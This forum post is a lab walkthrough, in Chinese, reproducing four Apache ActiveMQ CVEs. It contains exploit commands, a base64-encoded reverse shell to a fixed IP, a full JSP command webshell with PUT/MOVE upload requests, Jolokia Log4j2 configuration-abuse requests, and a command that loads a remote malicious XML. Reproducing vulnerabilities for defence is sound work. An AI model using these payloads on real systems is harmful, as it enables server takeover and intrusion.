找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1823

积分

0

好友

238

主题
发表于 2025-12-24 21:41:47 | 查看: 33| 回复: 0

Apache ActiveMQ作为广泛使用的开源消息中间件,其安全性至关重要。本文将通过实战环境,深入分析与复现ActiveMQ历史上四个关键的高危漏洞,涵盖从信息泄露到远程代码执行(RCE)的完整攻击链,旨在帮助安全人员与运维人员理解其风险并加强防御。

一、CVE-2015-5254 反序列化漏洞

此漏洞源于ActiveMQ的不安全反序列化机制,攻击者可通过发送特制的序列化消息来执行任意命令。

影响版本: Apache ActiveMQ 5.x 至 5.13.0

复现步骤

  1. 使用Vulhub等靶场环境搭建漏洞版本ActiveMQ(如5.11.1)。启动后,Web控制台默认地址为 http://<target-ip>:8161,默认凭证为 admin/admin
  2. 使用攻击工具 jmet-0.1.0-all.jar 向目标发送恶意的序列化消息。以下命令尝试在目标服务器 /tmp 目录下创建文件:
    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/success_poc” -Yp ROME <目标IP> 61616
  3. 发送成功后,访问 http://<target-ip>:8161/admin/browse.jsp?JMSDestination=event,在消息队列中会出现一条新的消息。
  4. 点击该消息的 Message ID,即可触发漏洞执行命令,在服务器上创建 /tmp/success_poc 文件。
  5. 该漏洞同样可用于反弹Shell。利用Base64编码反弹Shell命令并执行:
    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}” -Yp ROME <目标IP> 61616

二、CVE-2016-3088 Fileserver 任意文件写入漏洞

ActiveMQ的Fileserver应用(RESTful API)未对HTTP PUT方法进行充分授权校验,导致攻击者可上传任意文件,并结合MOVE方法将文件移动至Web目录,从而获取Webshell。

影响版本: Apache ActiveMQ 5.0.0 – 5.13.2。在5.12.x~5.13.x版本默认关闭,5.14.0后彻底移除。

复现步骤

  1. 确定Web根目录。登录后台(admin/admin),访问 http://<target-ip>:8161/admin/test/systemProperties.jsp,查找 activemq.home 属性,本例中为 /opt/activemq。其Web应用通常部署在 webapps 子目录下,这属于典型的Java Web应用路径。
  2. 使用PUT方法上传一个包含Webshell代码的TXT文件到Fileserver。

    PUT /fileserver/shell.txt HTTP/1.1
    Host: <target-ip>:8161
    Authorization: Basic YWRtaW46YWRtaW4=
    Content-Length: 329
    
    <%@ page import="java.io.*"%>
    <%
        out.print(“Hello”);
        String strcmd=request.getParameter(“cmd”);
        String line=null;
        Process p=Runtime.getRuntime().exec(strcmd);
        BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
        while((line=br.readLine())!=null){
            out.print(line+””);
        }
    %>

    注意:某些版本禁止直接上传 .jsp 后缀文件至fileserver,上传 .txt 再移动是可靠方法。

  3. 利用HTTP MOVE方法,将上传的文件移动至Web可访问目录(如 apiadmin),并重命名为 .jsp
    MOVE /fileserver/shell.txt HTTP/1.1
    Destination: file:///opt/activemq/webapps/api/shell.jsp
    Host: <target-ip>:8161
    Authorization: Basic YWRtaW46YWRtaW4=
  4. 访问Webshell:http://<target-ip>:8161/api/shell.jsp?cmd=id,成功执行系统命令。

三、CVE-2022-41678 Jolokia 代码执行漏洞

经过身份验证的攻击者可通过ActiveMQ内置的Jolokia JMX HTTP API,操作Log4j2相关的MBean,修改其配置并加载恶意XML,从而实现远程代码执行。这种通过应用配置接口进行攻击的方式,在网络安全研究中值得深入关注。

影响版本

  • Apache ActiveMQ < 5.16.6
  • 5.17.0 <= Apache ActiveMQ < 5.17.4

复现步骤

  1. 探测漏洞:访问 /api/jolokia/list,查看是否存在 org.apache.logging.log4j2 相关的MBean。
    • GET方式:直接浏览器访问或使用工具带认证头(Authorization: Basic YWRtaW46YWRtaW4=)访问。
    • POST方式:若GET失败,发送POST请求,Body为 {“type”:”list”}
  2. 修改Log4j2配置:发送POST请求,将Log4j2的配置格式设置为XML,为写入恶意配置做准备。

    POST /api/jolokia/ HTTP/1.1
    Host: <target-ip>:8161
    Authorization: Basic YWRtaW46YWRtaW4=
    Content-Type: application/json
    
    {
        “type”: “exec”,
        “mbean”: “org.apache.logging.log4j2:type=”,
        “operation”: “setConfigText”,
        “arguments”: [“xml”, “utf-8”]
    }
  3. 写入恶意配置执行命令:利用脚本(如 activemq.py)自动化完成攻击。脚本会构造包含命令执行的恶意Log4j2 XML配置并提交。
    # 方式一:使用JFR特性
    python3 activemq.py -u admin -p admin –exploit jfr http://<target-ip>:8161
    # 方式二:常规利用
    python3 activemq.py -u admin -p admin http://<target-ip>:8161
  4. 脚本执行成功后,通常会向Web目录写入一个JSP Webshell,通过访问该Shell即可执行任意命令。

四、CVE-2023-46604 反序列化远程代码执行漏洞

该漏洞是ActiveMQ的一个极其严重的反序列化漏洞,攻击者通过向OpenWire端口(默认61616)发送特制的序列化数据包,可导致服务器实例化任意类并执行构造方法,从而实现远程代码执行。

影响版本

  • Apache ActiveMQ < 5.18.3
  • Apache ActiveMQ < 5.17.6
  • Apache ActiveMQ < 5.16.7
  • Apache ActiveMQ < 5.15.16

复现步骤

  1. 环境准备:搭建目标版本的ActiveMQ环境,确保61616端口可访问。使用Docker可以快速搭建测试环境。
  2. 利用工具:使用公开的漏洞利用脚本(如 CVE-2023-46604-RCE)。
  3. 执行攻击:该漏洞支持多种利用方式,攻击者需要准备一个托管恶意XML配置文件的服务器(如通过HTTP可访问的 pom.xml)。
    • DNSLog验证:使用能触发DNS请求的XML,验证漏洞存在。
    • 命令执行/反弹Shell:在XML中嵌入恶意Java代码,实现RCE。
      # 示例:使用工具指向恶意XML URL
      ./main -i <目标IP> -u http://<攻击者IP>/poc.xml
  4. 工具发送恶意数据包后,若利用成功,目标服务器会加载远程XML并执行其中定义的恶意代码,攻击者从而获得系统权限。



上一篇:现代Node.js开发模式实战:2025版ESM、Fetch与内置测试全解析
下一篇:ReAct范式深度解析:构建可控智能体的TAO闭环与Python实现
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-10 18:32 , Processed in 0.305114 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表